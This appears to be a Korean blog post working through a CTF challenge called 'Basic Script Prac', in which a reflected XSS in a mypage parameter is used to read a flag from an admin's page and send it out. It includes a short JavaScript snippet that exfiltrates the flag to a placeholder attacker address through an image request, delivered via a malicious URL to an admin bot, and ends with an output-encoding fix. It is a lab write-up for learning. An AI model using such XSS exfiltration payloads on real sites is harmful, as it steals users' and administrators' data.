Almon Dev

ctf 풀이 (Basic Script Prac) 본문

모의해킹/모의해킹

ctf 풀이 (Basic Script Prac)

Almon 2024. 12. 31. 17:58

ctf 문제 풀이

 

Basic Script Prac

 

 

풀이

1. XSS 포인트 찾기

마이페이지의 user파라미터의 입력값이 input 태그의 placeholder 속성에 포함돼서 응답됩니다.

 

<'">를 삽입해서 특수문자를 따로 처리하지 않고 바로 응답에 포함하는 것을 확인했습니다.

 

 input태그를 탈출해 script태그를 삽입합니다.

남은 "/> 부분을 br태그로 만들고 style="display:none"을 삽입해서 원래의 html구조를 그대로 유지합니다.

 

alert(1)이 실행되는 것을 확인했습니다.

 

2. 스크립트 삽입하기

스크립트의 목적은 관리자 계정의 마이페이지 정보를 가져오는 것입니다.

그러기 위해서는 DOM구조를 파악해서 JavaScript로 태그의 정보를 가져와야 합니다.

 

hori라는 클래스 이름을 가진 div안에 input태그가 하나씩 들어있는 구조입니다.

 

쿼리셀렉터를 이용해서 hori클래스 내부의 input 태그들을 가져온 뒤 그중에서 두 번째 input태그를 선택합니다.

document.querySelectorAll(".hori input")[1];

 

target의 placeholder 속성값에 있는 플래그를 가져오는 스크립트를 생성합니다.

const target = document.querySelectorAll(".hori input")[1];
let flag = target.placeholder;
let i = new Image();
i.src = `http://공격자 주소?flag=${flag}`;

 

그런데 막상 실행하고 나면 placeholder를 찾을 수 없다고 나옵니다.

이유를 찾기 위해 쿼리셀렉터로 불러온 태그들을 확인해 보겠습니다.

 

아마도 DOM이 모두 로드되기 전에 스크립트가 먼저 실행돼서 태그를 찾지 못한 것 같습니다.

이벤트 핸들러를 이용해서 DOM이 모두 로드가 된 후에 스크립트를 실행해 주겠습니다.

 

3. 스크립트 실행하기

악성 URL로 관리자봇이 접속하도록 합니다.

 

 

대응 방법

  • 사용자의 입력을 저장, 응답할 때는 HTML Entity로 변환하는 것이 좋습니다.

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (Steal Info 2)  (0) 2024.12.31
ctf 풀이 (Steal Info)  (0) 2024.12.31
모의해킹 공부 11주차 (XSS 활용)  (1) 2024.12.27
ctf 풀이 (XSS Challenge)  (0) 2024.12.23
ctf 풀이 (XSS 6)  (1) 2024.12.23